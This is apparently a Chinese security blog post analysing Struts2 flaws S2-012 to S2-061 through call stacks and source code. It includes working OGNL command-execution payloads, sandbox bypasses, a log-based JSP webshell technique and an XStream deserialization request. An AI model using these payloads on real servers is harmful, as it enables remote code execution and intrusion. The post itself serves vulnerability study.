Loading

struts2漏洞12-61

S2-012

影响版本:Struts Showcase App 2.0.0 - Struts Showcase App 2.3.14.2

参考链接:https://cwiki.apache.org/confluence/display/WW/S2-012

这与 S2-001 很相似,在设置了结果重定向,Struts2 使用 StrutsResultSupport 的子类 ServletRedirectResult 类处理 redirect 结果,会造成二次解析

 <result name="redirect" type="redirect">/index.jsp?name=${name}</result>

漏洞分析

PixPin_2025-04-10_19-04-48

重定向会来到 org.apache.struts2.dispatcher.ServletRedirectResult#execute

image-20250410191420093

父类的 execute 方法,里面调用了 conditionalParse 进而调用了 translateVariables

image-20250410191551363

image-20250410192023432

后续就和 S2-001 的步骤一样了,循环解析 ognl 表达式

translateVariables:198, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:129, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:73, TextParseUtil (com.opensymphony.xwork2.util)
conditionalParse:198, StrutsResultSupport (org.apache.struts2.dispatcher)
execute:185, StrutsResultSupport (org.apache.struts2.dispatcher)
execute:158, ServletRedirectResult (org.apache.struts2.dispatcher)

payload

%{#_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec("calc")}

image-20250410192202409

S2-013

影响版本:Struts 2.0.0 - Struts 2.3.14.1

参考链接:https://cwiki.apache.org/confluence/display/WW/S2-013

与 S2-002 的 xss 很相似,不过当时忽略了,这其实是可以解析 ognl 执行命令的

<s:url id="url" action="HelloWorld" includeParams="all">

当配置 includeParams="all" 时,会接受所有的 get 和 post 参数,进行解析

漏洞分析

官方给出的 POC

HelloWorld.action?fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D

image-20250410194534766

当然肯定也是可以实现命令执行的

fakeParam=%{#_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec("calc")}

url 编码后

fakeParam=%25%7b%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%40java.lang.Runtime%40getRuntime().exec(%22calc%22)%7d

我们在 doStartTag 打断点,分析一下 ,前边调试基本与 S2-002 一致

在调用 doStartTag 的时候,处理 includeParam = all 时,调用到 ServletUrlRenderer#includeGetParameters 进而调用了 UrlHelper#parseQueryString

image-20250410200247524

调用栈

parseQueryString:328, UrlHelper (org.apache.struts2.views.util)
parseQueryString:308, UrlHelper (org.apache.struts2.views.util)
includeGetParameters:265, ServletUrlRenderer (org.apache.struts2.components)
beforeRenderUrl:243, ServletUrlRenderer (org.apache.struts2.components)
start:144, URL (org.apache.struts2.components)
doStartTag:53, ComponentTagSupport (org.apache.struts2.views.jsp)

看到调用 translateAndDecode 跟进去就是在调用 translateVariable

image-20250410200316465

后续同样,跟 S2-001 一样了

S2-014

影响版本: Struts 2.0.0 - Struts 2.3.14.1

参考链接: https://cwiki.apache.org/confluence/display/WW/S2-014

其实就是对 S2-013 的另一种 payload 攻击

因为在 translateVariable 的解析中,会解析 %$ 两种开头标识

这里官方也给出了对应的 payload

HelloWorld.action?aaa=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('calc')}

url 编码后

HelloWorld.action?aaa=1%24%7b%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%40java.lang.Runtime%40getRuntime().exec(%22calc%22)%7d

image-20250410202343567

S2-015

影响版本:Struts 2.0.0 - Struts 2.3.14.2

参考链接:https://cwiki.apache.org/confluence/display/WW/S2-015

Struts 2 允许基于通配符定义动作映射,如下例所示:

<action name="*" class="example.ExampleSupport">
    <result>/example/{1}.jsp</result>
</action>

当 Struts 2 找不到 action 时,就会去匹配通配符 * 并解析,用 {1} 当作 ognl 表达式来解析并获取值

POC

官方给出的 POC

${#foo='Menu',#foo}

url 编码后

%24%7b%23foo%3d%27Menu%27%2c%23foo%7d

可以看到的确解析了我们 ognl 表达式,去寻找 Menu.jsp 文件

image-20250410212627921

漏洞分析

我们首先是在 StrutsPrepareAndExecuteFilter#doFilter 或者 FilterDispatcher#doFilter 这个方法 预处理请求

旧版本流程:
FilterDispatcher -> ActionProxy -> DefaultActionInvocation

新版本流程:
StrutsPrepareAndExecuteFilter -> ActionProxy -> DefaultActionInvocation

我们会来到 DefaultActionInvocation#executeResult 处理结果

image-20250411093317878

接着在 StrutsResultSupport#execute 中调用 conditionalParse

image-20250411093426145

后边结合 S2-012 的流程一致了,调用 TextParseUtil#translateVariables 解析 ognl 表达式

image-20250411093701762

payload

%{#_memberAccess['allowStaticMethodAccess']=true,@java.lang.Runtime@getRuntime().exec('calc')}.action

url 编码后

%25%7b%23_memberAccess%5b%27allowStaticMethodAccess%27%5d%3dtrue%2c%40java.lang.Runtime%40getRuntime().exec(%27calc%27)%7d.action

image-20250411100136738

注意这里使用 ' 来进行包裹,使用 “” 包裹,会被转义,从而无法执行

image-20250411100400080

具体就是发生在 StrutsActionProxy 初始化的时候,封装 actionName 会对他进行实体编码

image-20250411101315385

image-20250411102155084

调用栈

escape:869, Entities (org.apache.commons.lang)
escapeHtml:505, StringEscapeUtils (org.apache.commons.lang)
escapeHtml:461, StringEscapeUtils (org.apache.commons.lang)
<init>:77, DefaultActionProxy (com.opensymphony.xwork2)
<init>:38, StrutsActionProxy (org.apache.struts2.impl)
createActionProxy:37, StrutsActionProxyFactory (org.apache.struts2.impl)
createActionProxy:58, DefaultActionProxyFactory (com.opensymphony.xwork2)
serviceAction:488, Dispatcher (org.apache.struts2.dispatcher)
doFilter:434, FilterDispatcher (org.apache.struts2.dispatcher)

Struts 2.3.14.2

在 Struts 2.3.14.2 中,官方将 SecurityMemberAccess 类中成员变量 allowStaticMethodAccess 添加了 final 修饰符,并且将其 set 方法进行了删除。

image-20250411103903928

看到打之前的 payload 已经不能实现命令执行了

image-20250411104246518

这里有两种绕过的方式

  1. 使用反射修改值
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@java.lang.Runtime@getRuntime().exec('calc')}.action

url 编码

%24%7b%23context%5b%27xwork.MethodAccessor.denyMethodExecution%27%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2c%23f.setAccessible(true)%2c%23f.set(%23_memberAccess%2ctrue)%2c%40java.lang.Runtime%40getRuntime().exec(%27calc%27)%7d.action

image-20250411111021332

image-20250411111036753

  1. 使用非静态方法

由于双引号 会被 实体编码,我们只能使用单引号

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#pb=new java.lang.ProcessBuilder(new java.lang.String[]{'calc'}),#pb.start()}.action

url 编码后

%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23pb%3Dnew%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B'calc'%7D)%2C%23pb.start()%7D.action

image-20250412211502638

S2-016

影响版本:Struts 2.0.0 - Struts 2.3.15

参考链接:https://cwiki.apache.org/confluence/display/WW/S2-016

struts2 中,DefaultActionMapper 类支持以 action:redirect:redirectAction: 作为导航或是重定向前缀,但是这些前缀后面同时可以跟 OGNL 表达式,由于 struts2 没有对这些前缀做过滤,导致利用 OGNL 表达式调用 java 静态方法执行任意系统命令。

和 S2-002 一致,都是利用 redirect 重定向时的 ognl 解析,但是入口不太相同

漏洞分析

我们先来看 DefaultActionMapper 这个类,他定义了一系列的前缀

image-20250412101748318

在初始化时,会去作对应的处理,构造方法的逻辑

public DefaultActionMapper() {
    this.prefixTrie = new PrefixTrie() {
        {
            // 1. 处理 method: 前缀
            this.put("method:", new ParameterAction() {
                public void execute(String key, ActionMapping mapping) {
                    if (DefaultActionMapper.this.allowDynamicMethodCalls) {
                        mapping.setMethod(key.substring("method:".length()));
                    }
                }
            });
            
            // 2. 处理 action: 前缀 
            this.put("action:", new ParameterAction() {
                public void execute(String key, ActionMapping mapping) {
                    String name = key.substring("action:".length());
                    if (DefaultActionMapper.this.allowDynamicMethodCalls) {
                        int bang = name.indexOf(33); // 33是'!'的ASCII码
                        if (bang != -1) {
                            mapping.setMethod(name.substring(bang + 1));
                            name = name.substring(0, bang);
                        }
                    }
                    mapping.setName(name);
                }
            });
            
            // 3. 处理 redirect: 前缀
            this.put("redirect:", new ParameterAction() {
                public void execute(String key, ActionMapping mapping) {
                    ServletRedirectResult redirect = new ServletRedirectResult();
                    DefaultActionMapper.this.container.inject(redirect);
                    redirect.setLocation(key.substring("redirect:".length()));
                    mapping.setResult(redirect);
                }
            });
            
            // 4. 处理 redirectAction: 前缀
            this.put("redirectAction:", new ParameterAction() {
                public void execute(String key, ActionMapping mapping) {
                    String location = key.substring("redirectAction:".length());
                    ServletRedirectResult redirect = new ServletRedirectResult();
                    DefaultActionMapper.this.container.inject(redirect);
                    String extension = DefaultActionMapper.this.getDefaultExtension();
                    if (extension != null && extension.length() > 0) {
                        location = location + "." + extension;
                    }
                    redirect.setLocation(location);
                    mapping.setResult(redirect);
                }
            });
        }
    };
}

把不同的前缀对应为了不同的 ParameterAction 并重写了 execute 方法,在重定向解析结果时,会造成二次解析

入口和 S2-015 一致,都是 StrutsPrepareAndExecuteFilter#doFilter 或者 FilterDispatcher#doFilter 这个方法 预处理请求 调用 DefaultActionMapper#handleSpecialParameters 时,根据前缀走到对应的 execute 方法

execute:217, DefaultActionMapper$2$3 (org.apache.struts2.dispatcher.mapper)
handleSpecialParameters:371, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)
getMapping:318, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)
doFilter:409, FilterDispatcher (org.apache.struts2.dispatcher)
internalDoFilter:241, ApplicationFilterChain (org.apache.catalina.core)
doFilter:208, ApplicationFilterChain (org.apache.catalina.core)

image-20250412110620680

后续就和 S2-012 的调用流程一致了

image-20250412111005761

调用栈

conditionalParse:197, StrutsResultSupport (org.apache.struts2.dispatcher)
execute:185, StrutsResultSupport (org.apache.struts2.dispatcher)
execute:158, ServletRedirectResult (org.apache.struts2.dispatcher)
serviceAction:496, Dispatcher (org.apache.struts2.dispatcher)
doFilter:434, FilterDispatcher (org.apache.struts2.dispatcher)

payload

index.action?redirect:%{#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@java.lang.Runtime@getRuntime().exec('calc')}

url 编码

index.action?redirect%3a%25%7b%23f%3d%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2c%23f.setAccessible(true)%2c%23f.set(%23_memberAccess%2ctrue)%2c%40java.lang.Runtime%40getRuntime().exec(%27calc%27)%7d

或者用前缀 redirectAction

image-20250412111523030

S2-018

影响版本:Struts 2.0.0 - Struts 2.3.15.2

参考链接:https://cwiki.apache.org/confluence/display/WW/S2-018

Struts 2 的动作映射机制支持特殊参数前缀“action:”,该前缀旨在帮助将导航信息附加到表单内的按钮上。

这个是在 S2-016 的延伸,用 action: 前缀去绕过一下安全限制

特性其实就是可以利用 action:test!execute 的形式,访问同一命名空间下的其他方法

S2-020/S2-021/S2-022

这其实就是一个漏洞的不同版本,也是利用参数 ParametersInterceptor 拦截器,去做一些事情,尽管他在前面爆出来的几次漏洞后,对正则表达式做了很多改进,我们可以利用它去修改一些值

影响版本:Struts 2.0.0 - Struts 2.3.16.3

参考链接:https://cwiki.apache.org/confluence/display/WW/S2-022

在 2.3.16 版本的 ParametersInterceptor 中的正则表达式

    public static final String ACCEPTED_PARAM_NAMES = "\\w+((\\.\\w+)|(\\[\\d+\\])|(\\(\\d+\\))|(\\['\\w+'\\])|(\\('\\w+'\\)))*";

去掉转移符号

\w+((\.\w+)|(\[\d+\])|(\(\d+\))|(\['\w+'\])|(\('\w+'\)))*

也就是说,他可以匹配 aa.bb.cc.dd 这样的参数

image-20250412142002323

我们可以使用这一特性修改一些 修改 context 及 root 中的一些值

class.classLoader.resources.dirContext.docBase=D:/data

看一下 2.3.162.3.16.1 excludeParams 的对比,看到加入了 ^class\..

我们利用上面的 payload 可以修改 classLoader 的属性,tomcat 的访问路径,当在获取 class 属性的时候,同时会得到他的 classLoader,我们修改它里面值,实现利用

当 ongl 去获取 把 class 解析为 ASTProperty 时,会去执行到 getTargetClass,当然会把 classLoader 一并获取到

image-20250412164216799

因为类都是由 Tomcat 容器加载的,所以就获取到了 WebappClassLoader ,依次执行到后边的赋值语句,就可以把 tomcat 的基础访问路路径给改变掉

对应过去 class 的调用栈

getPropertyAccessor:2215, OgnlRuntime (ognl)
getProperty:2312, OgnlRuntime (ognl)
getValueBody:114, ASTProperty (ognl)
evaluateGetValueBody:212, SimpleNode (ognl)
getValue:258, SimpleNode (ognl)
setValueBody:222, ASTChain (ognl)
evaluateSetValueBody:220, SimpleNode (ognl)
setValue:301, SimpleNode (ognl)
setValue:737, Ognl (ognl)
setValue:234, OgnlUtil (com.opensymphony.xwork2.ognl)
trySetValue:183, OgnlValueStack (com.opensymphony.xwork2.ognl)
setValue:170, OgnlValueStack (com.opensymphony.xwork2.ognl)
setParameter:148, OgnlValueStack (com.opensymphony.xwork2.ognl)
setParameters:329, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
doIntercept:241, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
image-20250412164622939 image-20250412164837078

然后我们就可以访问 D:/data 目录下的文件了

image-20250412170620040

当然他的危害远不止于此,还是有师傅研究出了 RCE

class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1
<%Runtime.getRuntime().exec("calc");%>

利用日志写了一个 webshell

2.3.16.1 的 excludeParams 加入了 ^class\.. 这也很好绕过,大小写就可以

class['classLoader'].resources.dirContext.docBase=
top.class.classLoader.resources.dirContext.docBase=
Class.classLoader.resources.dirContext.docBase=

后续 S2-022 就是把注入点改到 cookie 中了

S2-032

影响版本:Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

参考链接:https://cwiki.apache.org/confluence/display/WW/S2-032

当启用动态方法调用时,有可能传递恶意表达式,该表达式可用于在服务器端执行任意代码。

这其实也是对 S2-016 的扩展,这次把重心放到了 method: 这个前缀,当开启了 Dynamic Method Invocation 可以实现 RCE

我们先来看 PrefixTrie 中 处理 method: 前缀的方法,看到一进来首先就是判断 allowDynamicMethodCalls 所以我们得开启这一特性

image-20250412185934861

在委托 DefaultActionProxy 代理的时候,会用 StringEscapeUtils.escapeHtml4() 这个进行编码,其实我们之前在 S2-015 也有提到过这个实体编码特性,当时是 escapeHtml ,没有对 ' 进行实体编码

image-20250412190827855

< → &lt;
> → &gt;
& → &amp;
" → &quot;
' → &apos;

同时在 DefaultActionInvocation#invokeAction 解析 method 的时候,会为它拼接上一个 () 符号

image-20250412191657068

在 struts-default.xml 中 可以看到 excludedClasses 和 excludedPackageNamePatterns 的规则

我们需要绕过,或者给他置空

image-20250412192551013

allowStaticMethodAccess 反射赋值的方式被禁止了,因为在 2.3.20 版本以后,SecurityMemberAccess 引入了一个新的判断方法 isClassExcluded()

image-20250412193151390

反射获得的 class 在这里就直接返回 true,被拦截了

我们可以使用 OgnlContext 里默认的 DefaultMemberAccess 来给他赋值

pyload

method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(#parameters.param[0]).toString&param=calc

url 编码,不要把 & 和 = 进行编码

method%3A%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2C%40java.lang.Runtime%40getRuntime().exec(%23parameters.param%5B0%5D).toString&param=calc

或者 使用 ProcessBuilder 这个非静态方法

method:#_memberAccess.excludedClasses=@java.util.Collections@EMPTY_SET,#_memberAccess.excludedPackageNamePatterns=@java.util.Collections@EMPTY_SET,new java.lang.ProcessBuilder(new java.lang.String[]{#parameters.cmd[0]}).start&cmd=calc

url 编码后

method%3A%23_memberAccess.excludedClasses%3D%40java.util.Collections%40EMPTY_SET%2C%23_memberAccess.excludedPackageNamePatterns%3D%40java.util.Collections%40EMPTY_SET%2Cnew%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%23parameters.cmd%5B0%5D%7D).start&cmd=calc

image-20250412205245232

S2-033

影响版本:Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

参考链接:https://cwiki.apache.org/confluence/display/WW/S2-033

使用了 struts2-rest-plugin-2.3.24.1.jar 这个插件时,由于动态方法调用时对 methodName 没有进行处理,导致了漏洞。

跟 S2-032 很相似,这次使用的就是插件中的 RestActionMapper,在处理时没有过滤,导致了 RCE

image-20250412214729940

使用 ! 作为前缀,调用其他方法(放入 ActionMapping)中

image-20250412214753022

但是默认的后缀有所区别

image-20250412215151649

pyload

!#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(#parameters.param[0]).toString.json?param=calc

S2-045

影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

参考链接:https://cwiki.apache.org/confluence/display/WW/S2-045

Content-Type 的解析报错时,会把报错信息当表达式解析,造成了任意命令执行

在 StrutsPrepareFilter#doFilter 对请求进行预处理时,会对请求进行封装

image-20250413130240401

最终调用的是 Dispatcher#wrapRequest 方法来进行 multipart/form-data 获取内容,并封装为 MultiPartRequestWrapper 他用的 contains 进行判断

image-20250413130724051

在 getMultiPartRequest 方法中 创建了 MultiPartRequest 实例,默认就是 default.properties 配置中的 JakartaMultiPartRequest

image-20250413132456568

image-20250413132523350

获取到 mpr 后,进行MultiPartRequestWrapper的封装,执行 parseerrors 进行获取并添加到 errors集合中

image-20250413133011869

parse 其实就是 JakartaMultiPartRequest#parse 这个方法,他会在 catch 块里对 异常进行捕获并保存

image-20250413133456501

而在 buildErrorMessage 方法中执行了 LocalizedTextUtil.findText() 解析了 error

image-20250413142038871

最终会调用到 TextParseUtil.translateVariables

image-20250413144231784

调用栈

getDefaultMessage:677, LocalizedTextUtil (com.opensymphony.xwork2.util)
findText:544, LocalizedTextUtil (com.opensymphony.xwork2.util)
findText:372, LocalizedTextUtil (com.opensymphony.xwork2.util)
buildErrorMessage:123, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)
parse:105, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)
<init>:84, MultiPartRequestWrapper (org.apache.struts2.dispatcher.multipart)
wrapRequest:838, Dispatcher (org.apache.struts2.dispatcher)
wrapRequest:137, PrepareOperations (org.apache.struts2.dispatcher.ng)
doFilter:91, StrutsPrepareAndExecuteFilter (org.apache.struts2.dispatcher.ng.filter)

报错信息是如何可控的呢?

在 JakartaMultiPartRequest#processUpload 中 调用 parseRequest

image-20250413171908430

FileUploadBase#parseRequest 有 %s 接收 e.getMessage()) e

image-20250413172103948

payload

Content-Type: -multipart/form-data-%{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}

image-20250413142002636

S2-046

影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

参考链接:https://cwiki.apache.org/confluence/display/WW/S2-046

S2-046和前面的S2-045 触发方式是一样的,但是入口不同

在 JakartaMultiPartRequest#processUpload 同样对文件名做了处理

image-20250413172406781

会调用 getName() 方法

image-20250413172622525

跟前调用 Streams#checkFileName 这个方法

image-20250413184620091

可以发现满足有 fileName != null && fileName.indexOf(0) != -1 也就是满足有 \u0000

payload和 S2-045 是一样的,只是换到了 filename 这个变量上

\u0000%{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}

S2-052

影响版本:Struts 2.1.6 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

参考链接:https://cwiki.apache.org/confluence/display/WW/S2-052

REST 插件使用带有 XStream 实例的XStreamHandler进行反序列化,且没有任何类型过滤,在反序列化 XML 有效负载时,这可能会导致远程代码执行。

我 REST 插件的配置文件中,注册了一个 org.apache.struts2.rest.ContentTypeInterceptor ,用来根据不同的contentType 来获取不同的 ContentTypeHandler 解析请求的处理

image-20250414100846761

看一下这个getHandlerForRequest

public ContentTypeHandler getHandlerForRequest(HttpServletRequest request) {
    ContentTypeHandler handler = null;
    // 1. 首先尝试通过请求的Content-Type头获取处理器
    String contentType = request.getContentType();
    if (contentType != null) {
        // 1.1 直接匹配完整的Content-Type
        handler = (ContentTypeHandler)this.handlersByContentType.get(contentType);
        if (handler == null) {
            // 1.2 如果完整匹配失败,尝试去掉参数部分(如去掉charset=UTF-8等)
            int index = contentType.indexOf(59); // 59是分号';'的ASCII码
            if (index != -1) {
                contentType = contentType.substring(0, index).trim();
            }
            // 1.3 再次尝试匹配简化后的Content-Type
            handler = (ContentTypeHandler)this.handlersByContentType.get(contentType);
        }
    }

    // 2. 如果通过Content-Type没有找到处理器,尝试通过扩展名获取
    if (handler == null) {
        String extension = this.findExtension(request.getRequestURI());
        handler = (ContentTypeHandler)this.handlersByExtension.get(extension);
    }

    return handler;
}

可以发现会根据 Content-Type 或者 扩展名 来过去 ContentTypeHandler

发现有 6 个实现

image-20250414100626286

我们主要来看 XStreamHandler 的处理,在 ContentTypeInterceptor 获取到 XStreamHandler 会去调用它的 toObject方法,对输入流进行处理

image-20250414101018351

fromXml 对 xml的输入流进行反序列化

image-20250414101204372

payload

POST /struts2_rest_showcase_war_exploded/orders.xhtml HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 2359

<map>
    <entry>
        <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
                <dataHandler>
                    <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                        <is class="javax.crypto.CipherInputStream">
                            <cipher class="javax.crypto.NullCipher">
                                <initialized>false</initialized>
                                <opmode>0</opmode>
                                <serviceIterator class="javax.imageio.spi.FilterIterator">
                                    <iter class="javax.imageio.spi.FilterIterator">
                                        <iter class="java.util.Collections$EmptyIterator"/>
                                        <next class="java.lang.ProcessBuilder">
                                            <command>
                                                <string>calc</string>
                                            </command>
                                            <redirectErrorStream>false</redirectErrorStream>
                                        </next>
                                    </iter>
                                    <filter class="javax.imageio.ImageIO$ContainsFilter">
                                        <method>
                                            <class>java.lang.ProcessBuilder</class>
                                            <name>start</name>
                                            <parameter-types/>
                                        </method>
                                        <name>foo</name>
                                    </filter>
                                    <next class="string">foo</next>
                                </serviceIterator>
                                <lock/>
                            </cipher>
                            <input class="java.lang.ProcessBuilder$NullInputStream"/>
                            <ibuffer></ibuffer>
                            <done>false</done>
                            <ostart>0</ostart>
                            <ofinish>0</ofinish>
                            <closed>false</closed>
                        </is>
                        <consumed>false</consumed>
                    </dataSource>
                    <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
            </value>
        </jdk.nashorn.internal.objects.NativeString>
        <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
    </entry>
    <entry>
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    </entry>
</map>

S2-053

影响版本:Struts 2.0.0 - 2.3.33,Struts 2.5 - Struts 2.5.10.1

参考链接:https://cwiki.apache.org/confluence/display/WW/S2-053

服务端将用户可控的参数放到了 Freemarker 的标签属性中,在结果解析时,导致RCE

在解析FreeMarker标签结果时,会调用 FreemarkerResult#doExecute 方法

image-20250414105820120

Template#process 继续调用 freemarker.core.Environment#process

image-20250414110037624

一路调用 Environment#visit => TemplateElement#accept

accept 有很多不同的实现

image-20250414110342149

漏洞点就在freemarker.core.UnifiedCall#accept 这个方法 ,执行 visitAndTransform

image-20250414110610432

image-20250414110646630

afterBody() 会去调用 end 方法,这就跟 S2-001 一致了

image-20250414110918614

payload

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

S2-059

影响版本:Struts 2.0.0 - Struts 2.5.20

参考链接:https://cwiki.apache.org/confluence/display/WW/S2-059

这次漏洞是由于标签属性值进行二次表达式解析产生的,同样是在 doStartTag() 和 doEndTag() 解析时触发

官方给的例子

<s:url var="url" namespace="/employee" action="list"/><s:a id="%{skillName}" href="%{url}">List available Employees</s:a>

如果攻击者能够修改请求中的skillName属性,使得未经进一步验证的原始 OGNL 表达式被传递到skillName属性,那么当请求导致标签被渲染时,skillName属性中包含的 OGNL 表达式将被求值。

image-20250414183841950

确实是执行了

org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag

执行 populateParams

image-20250414184327167

会去调用父类的 populateParams

image-20250414184404074

一直跟如会来到 OgnlTextParser#evaluate 获取到我们传入的表达式

image-20250414185459815

第二次循环执行我们传入的ognl表达式

image-20250414185638662

S2-061

影响版本:Struts 2.0.0 - Struts 2.5.25

参考链接:https://cwiki.apache.org/confluence/display/WW/S2-061

是对 S2-59的绕过

payload

%{
(#im=#application["org.apache.tomcat.InstanceManager"]).
(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).
(#bm=#im.newInstance("org.apache.commons.collections.BeanMap")).
(#bm.setBean(#stack)).
(#context=#bm.get("context")).
(#bm.setBean(#context)).
(#ma=#bm.get("memberAccess")).
(#bm.setBean(#ma)).
(#emptyset=#im.newInstance("java.util.HashSet")).
(#bm.put("excludedClasses",#emptyset)).
(#bm.put("excludedPackageNames",#emptyset)).
(#arglist=#im.newInstance("java.util.ArrayList")).
(#arglist.add("open -a Calculator.app").
(#execute=#im.newInstance("freemarker.template.utility.Execute")).
(#execute.exec(#arglist))
}

参考文章

https://www.javasec.org/java-vuls/Struts/Struts2-2.html

https://blog.topsec.com.cn/struts2-s2-059-漏洞分析/
https://www.anquanke.com/post/id/225252

posted @ 2025-04-14 19:07  LingX5  阅读(26)  评论(0)    收藏  举报